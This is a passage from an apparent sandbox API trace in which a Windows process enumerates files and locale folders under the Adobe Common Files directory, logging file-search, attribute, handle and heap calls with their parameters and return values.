ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0085.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0085.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0085.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0085.832] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0085.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.832] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0085.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.832] NtClose (Handle=0x168) returned 0x0 [0085.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0085.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0085.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0085.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.833] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0085.833] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.833] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838958c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcrobatUpdater.exe", cAlternateFileName="")) returned 1 [0085.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.835] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe39c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.exe", cAlternateFileName="")) returned 1 [0085.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.874] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeExtractFiles.dll", cAlternateFileName="")) returned 1 [0085.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.876] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="")) returned 1 [0085.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0085.878] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="")) returned 0 [0085.878] GetLastError () returned 0x12 [0085.878] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0085.879] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0085.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838958c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcrobatUpdater.exe", cAlternateFileName="")) returned 1 [0085.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe39c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.exe", cAlternateFileName="")) returned 1 [0085.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeExtractFiles.dll", cAlternateFileName="")) returned 1 [0085.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="")) returned 1 [0085.879] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="")) returned 0 [0085.879] GetLastError () returned 0x12 [0085.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.879] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0085.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0085.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0085.880] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0085.880] GetLastError () returned 0x12 [0085.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0085.881] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0085.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0085.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0085.881] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0085.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0085.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0085.924] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0085.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.925] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0085.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.926] NtClose (Handle=0x180) returned 0x0 [0085.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0085.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0085.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0085.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0085.927] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0085.961] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0085.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 